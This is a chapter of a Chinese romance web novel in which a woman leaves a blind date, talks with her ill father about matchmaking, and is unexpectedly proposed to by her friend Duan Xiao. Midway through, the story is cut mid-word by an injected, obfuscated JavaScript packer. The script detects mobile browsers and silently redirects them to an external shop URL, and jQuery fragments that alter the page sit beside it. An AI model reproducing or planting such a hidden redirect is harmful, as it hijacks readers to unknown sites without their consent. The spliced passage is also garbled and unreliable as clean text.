七月盛夏,傍晚时分,天空尽处彩霞漫天。
江水之上霞光涌动,波光粼粼,美不胜收。
四季餐厅能成为玉泽市约会餐厅首选,正是因其窗外即江景这一卖点,因此窗边的位置千金难求。
江舒窈就坐在这千金难求一位的地方,在对面的相亲对象大谈自己创业史的时候发起了呆。
今天这位和前五位相亲对象出奇一致,也是一身西装革履的打扮,也是一说到自己的事业就原地开起了讲座,简直滔滔不绝。
桌上的手机伴随着一声微信消息提示音亮起屏幕。
江舒窈回神,视线扫过屏保通知横幅上显示的备注,又瞧见消息内容从第一条的“打卡同款”很快变成了“图片”两个字。
打卡什么同款?
江舒窈心里疑惑。
屏保通知看不到图片,她好奇得要命,思考着在相亲对象侃侃而谈时打开手机看一眼会不会有些不礼貌。
相亲对象似乎看出她的心不在焉,在她纠结的时候话锋一转,语气殷勤:“我的情况大概就是这样,江小姐还有什么想了解的吗,我一定知无不言。”
江舒窈抬头,重新将视线移到相亲对象的脸上,“没有了。”
相亲男点头,“你的情况我从介绍人那里了解过了,虽然只是个还没正式入职的大学讲师,又不是强势学科,但是没关系,我不在乎。”
他投来的目光里带着审视的意味:“我们都是来相亲的,肯定要现实一些。我是个比较传统的人,对另一半的要求就是漂亮、清白。我坦白讲,你很漂亮,是我见过的最漂亮的一个,而且感情经历空白,这就是你最大的优势。看得出来你是个好姑娘,很适合结婚,我对你很满意,也相信你会成为一个好妻子。要是没什么问题,我们过几天就可以去领证。”
今天天气热,江舒窈渴得不行,点的那杯冰橙汁被她喝下去大半杯。喝的时候不觉得,现在才发觉嘴里有股淡淡的苦味。
她清凌凌的眼直视对方,微笑:“既然是这样,那我也有个问题想要了解。”
“你说。”
江舒窈:“你清白吗?”
对方噎了几秒,讪讪一笑:“男人跟女人怎么能一样?”
江舒窈笑笑没说话。
这一笑大约让人心里有点发虚,对方开始继续强调自身优势。
“像我这么好的条件在相亲市场上是很稀有的,你应该清楚。”他又往前坐了些,语气放软:“而且我对你没有别的要求,听话就行,你也可以说说你对我的要求,不过分的我都能答应。有想法吗?”
“没想法。”
“没有?”
“嗯。”
瞧见对方脸上的表情从惊讶转变为喜悦,江舒窈不紧不慢地补了句:“说完了?”
对方不解其意,慢半拍地啊了一声。
江舒窈慢条斯理地从包里抽出一张纸币,食指压着推到对面。
“橙汁钱。”她抬眼,笑容不减,语调还是温温柔柔的,“我觉得我们不太合适。既然说完了,那我回家了。”
说罢,她手指勾起包包背带,起身站起来。
男人反应了几秒,终于从“发老婆”的喜悦中清醒过来。
“你没看上我?”他惊道,“为什么?”
江舒窈拎着包,路过他身边,很认真地端详着他。
“因为我觉得你不漂亮,”她语调平平,“也不清白。”
在对方茫然时,她大步离开餐厅。
出了餐厅大门,她边走边打开微信,终于看见了那张图片的内容。
那是一张天空照。
今天的晚霞很漂亮,朋友圈已经被刷屏,她在来的路上也跟风发了一张,她猜“打卡同款”指的就是她那条朋友圈。
只是她在那张图片里还有一点新发现。
图片边角位置拍到了一个招牌,上面的字让江舒窈停下了脚步。她放大图片,转身,举起手机和身后的四季餐厅招牌对比起来。
屏幕上跳出新的微信消息遮挡住图片。
【我在停车场,结束了我送你回家。】
-
今天是周五,恰逢下班时间,来四季约会吃饭的人络绎不绝,车位占得满满当当。
其中,最显眼的当属那辆停放在C位的黑色大G。
车窗降下大半,驾驶位上的年轻男人穿着一件简单的黑T,同色系的鸭舌帽压得很低,只露出线条流畅而锋利的侧脸。
这人胳膊随意搭在窗沿上,手指有一搭没一搭地抬起又落下,整个人懒懒地窝在座椅里,单手拿着手机反复滑动刷新页面。
微信消息弹出的一瞬间,他懒散的模样瞬间收敛,忙坐起身,伸手把帽檐抬高,露出一双分外明亮的眼睛,趴到窗前往外望去。
目光搜寻了一圈,锁定目标,从窗子探出一半身子,边挥手边喊:“窈窈!”
他犹嫌不够显眼,当即开门下车,小跑着迎上去。
江舒窈看见朝她走来的人,颇有些无奈地说:“段骁骁,我不回我爸那,咱们不顺路的。”
段骁点头,嗯了一声,伸手去开车门:“我知道。”
“那你还来?”她乜他一眼,站在原地没动。
他油盐不进,笑嘻嘻地把她肩上的包包拿走:“先上车。”
段骁拉着车门,笑得很乖巧,但据江舒窈对他的了解,下一次他还是会来。
江舒窈无可奈何地叹了口气,上车坐好。
还是没忍住对窗外的他说:“以后别来接我了,又不顺路,你这样两边跑太麻烦了。”
他给她关上门,趴在车窗沿儿上,眉毛一挑:“谁说不顺路就不能来接你了?”
江舒窈觉得好笑,他总是有理。
段骁回到驾驶位,关窗开空调,却没急着发动车子。
他变戏法似地从后座拿出一份饮料,纸袋上印着大大的logo——“COLORFUL”。
他扎好吸管递过去,“尝尝这个橙汁,新品。”
“你们最近研发新品好频繁啊。”江舒窈接过来,瞧了瞧杯子。
段骁拉过安全带系上,“没办法,竞争太激烈。当初决定创业,我爸妈还吵了一架,我起码得做出点成绩来才能不辜负我妈的资金支持。”
段家父母一方从政,一方从商,段骁毕业于警校,原本毕了业就会分配工作,也算子承父业,段父自然高兴。结果段骁临毕业前跟家里说决定创业,父母吵了一架,终究胳膊拧不过大腿。
COLORFUL品牌挂靠在段骁母亲的公司名下,主做中高端茶饮料和甜点。
江舒窈曾经问他店名的寓意,他说当时手边有本外文书,随便翻的,江舒窈无言以对。
其实江舒窈觉得段骁的创业挺成功的,在她读研这三年里,他一刻不停地在本地接连开了十几家分店,她学校门口那家就是其中一家,也是最早开起来的一家,每天都能排老长队伍,在本地年轻人群体中的知名度很高。
江舒窈就着吸管喝了一口,咂摸一下,给出评价:“还不错。”
“行,那就可以通过了。”开车的段骁目不斜视地说。
“这就通过了?”江舒窈看他,“你这也太草率了点。”
这几年里她几乎成了段骁的口味顾问,研发什么新品都要先拿过来给她尝尝,询问她的意见。说是参考,但江舒窈发现,只要她点过头的,最后都会上架。
段骁一笑:“不草率,这些东西的受众本身就是年轻女性多一些,拿来给你之前公司也做过内测了,你也喜欢的话就不会有太大问题。”
江舒窈不懂他的生意经,又喝一口。
橙汁还没咽下去,她包里的手机响起了来电铃声。
几乎同一时间,段骁的手机也弹出一条消息,他扫了眼内容,不长,就四个字:东西到了。
段骁用余光注意着副驾驶上的人。
江舒窈咽下橙汁,接起电话:“爸。”
车内空间不大,一点细微的动静都显得愈发明显。段骁观察着前方路况,另外分了几分心思在这通电话上。
电话那头正是江舒窈的父亲——江宏安。
“窈窈,回去了吗?”
“还得等一会儿吧,现在晚高峰,外面很堵。”
“行,待会儿到家了给爸爸发个消息。”
江舒窈说好。
结束无关紧要的开场白,江宏安直击主题:“窈窈,今天相亲怎么样啊?我听你韩叔说,那孩子条件挺好的。”
“嗯,是挺好的,但我觉得我们不太合适。”
“没事,咱们不着急,下次再见见别的,慢慢挑,总会遇见好的。”
江舒窈生无可恋:“爸,您就让我歇歇吧,这个月您已经给我安排六场相亲了。”
那头的江宏安沉默片刻,叹了口气,语气一下子低落下来。
“你妈妈临终前就交代给我这么一件事,你说这么多年,就这一件事我都没办好,我怎么对得起你妈妈,等我下去了哪有脸见她……”说着说着,他就哽咽起来。
段骁心道果然是亲爹,知道怎么拿捏自家闺女。
果不其然,江宏安话音未落,江舒窈便迅速缴械投降:“好了好了,我见就是了,医生说了您不能有太大的情绪波动,您保持心情平静好吗?”
七年前,江宏安因为妻子的意外离世悲痛欲绝,紧接着就被查出了癌症,因为发现得早,这些年又一直精心养护,才撑到了今天。
可人上了年纪,身体机能也是每况愈下,近两年江宏安进医院的次数愈发频繁,还有多长的寿命谁也说不好,医生已经交代江舒窈尽量保证病人的情绪平稳,言下之意就是吃好玩好,别让老人留下遗憾。
但吃好玩好对江宏安来说没什么用处,他就想看着江舒窈成家。
江舒窈别无他法,答应继续相亲。
江宏安达成目的,笑呵呵地交代她和段骁注意安全后挂了电话。
绚丽的晚霞在将暗未暗的天空尽处逐渐黯淡,一整条街都是夜市,各
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732459|208973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
色小吃车纷纷在此扎堆出摊,足足摆了几百米。
这里人多,段骁将车速控制得很慢。小吃车上的彩灯招牌接连亮起,缓慢在车窗上掠过。
江舒窈按熄了手机屏幕,沉默半晌后低头继续喝橙汁,然后咬着吸管转头看向窗外。
喧闹不止的人间烟火被贴了膜的车窗隔绝,她视线焦距拉近,盯着窗玻璃上映出的那张自己的脸。
她细细端详着,像在看一个陌生人。
她长得更像父亲,面部轮廓线条柔和,眉眼温润安静,及腰的乌黑长直发垂落,更给人一种温柔恬淡的印象。
从小到大,她从周围异性对她的反应中得知,自己似乎拥有一副还不错的皮囊,于是这副皮囊就成了异性们追求她的理由。
你喜欢我什么?
你长得漂亮。
她听过太多次这样的回答。
她的性格,她的思想,在他们眼里统统不重要,即使这幅壳子之下换了一个人,对于他们来说大概也无足轻重。
她在这些人眼里不再是一个完整独立的人,只是他们精挑细选的装饰品,和他们身上的西装,腕上的名表没有太大的区别。
她没想过通过相亲遇见真命天子,但也不希望和一个不尊重自己人格的对象稀里糊涂地结婚。
她盯着那倒影出神。下一秒,猝不及防的,车窗降下,热闹的人声夹杂着食物的香气扑面而来,将她从情绪中强行拉出。
她回头,不明所以地看向驾驶位。
夜市人多,段骁开车不敢分心,但能感觉到她的视线,他勾勾唇,“又在那胡思乱想呢?”
江舒窈捧着果汁杯,人蔫蔫的,肩膀耷拉下来,低声说:“好烦。”
“我是不是太矫情了。”平静的陈述语气,轻轻的,充满了自我怀疑,“明明是我自己答应去相亲的。”
正如刚刚相亲对象所说,相亲是现实的。她眼下需要一个结婚对象完成父亲的心愿,仅此而已,不应该过多地关注对方的思想,只要门当户对,人品没有大瑕疵,就可以纳入考虑范围。
但她做不到。
她真的做不到。
“窈窈,你对自己太严格了。”段骁忽然出声,他目视前方,“相亲市场就是个大型垃圾站,偶尔能在里面翻腾出点凑合的东西,但大部分都是垃圾。谁翻半天垃圾没找出一点好东西还能欢天喜地的,是不是?”
江舒窈听完,侧目看着他愣了好几秒,噗嗤一声笑出来。
段骁看她一眼,跟着她笑。
“好损啊你。”江舒窈笑着叹了口气,“不过那也没办法,就算是垃圾场,我也得抓紧时间翻呀。”
江家父母都是独生子女,因而从她这一代开始家里就没什么关系近的亲戚了。母亲去世后,江宏安成了她唯一的亲人,她明白江宏安是担心她一个人留在这世上无依无靠,才这么急吼吼地催她去相亲,她也不想让父亲为她担心。
天色渐渐暗了,段骁降低车速,开得更稳,说:“我觉得吧,安排你相亲不是江叔的目的,他是想看着你结婚,希望将来有个能替他照顾你的人。你一天不结婚,他就不会真正放心。”
江舒窈哪里不知道,可是想找到一个各方面都合适的人结婚,谈何容易?
她往后一靠,颇有点摆烂的心态:“不行就挑个顺眼的协议结婚算了,了了我爸的心愿。反正结婚不就是找个人搭伙过日子吗,也说不好协议的婚姻要比真正的婚姻存续时间更久呢。”
段骁闻言偏头看她一眼:“那你想没想过,万一你选的人不靠谱,婚后原形毕露,你该怎么办?告诉你爸,他更担心,不告诉他,你就得一个人忍受。那不是往火坑里跳吗?”
“可我没有时间了。”江舒窈说。
她没时间去精挑细选了。
空气长时间不流动,车里有些闷。
不知道过了多久,江舒窈发觉身旁的人许久都没有说话了。
前方红灯,车子停下。
江舒窈转头,与段骁的视线交汇,看清他那漆黑眼瞳中含着某种说不清道不明的情绪。
不知道为什么,江舒窈感受到一些呼之欲出的东西。
红灯变绿,段骁没有及时起步,旁边的车接连按喇叭提醒,混着段骁的声音一起传进江舒窈的耳朵。
她没太听清,但根据他的口型,她半看半猜地好像知道他说了什么。不过将那句话的内容在脑中过了一遍,她又觉得自己错得离谱。
不由得问:“你刚才说什么?”
旁边的车主还在狂按喇叭。
段骁神色复杂地瞄她一眼,没顾得上立刻重复,重新起步。
开出一段距离,他大幅度转动方向盘,把车靠到路边,猛踩一脚刹车。
车子剧烈晃动一下,停住。
江舒窈被他这下急刹车晃得差点把刚喝下的橙汁给吐出来。
她还没缓过来,那句清晰而离谱的话再次传入她耳中:
“我说——”他望过来,“那不如跟我结婚吧。”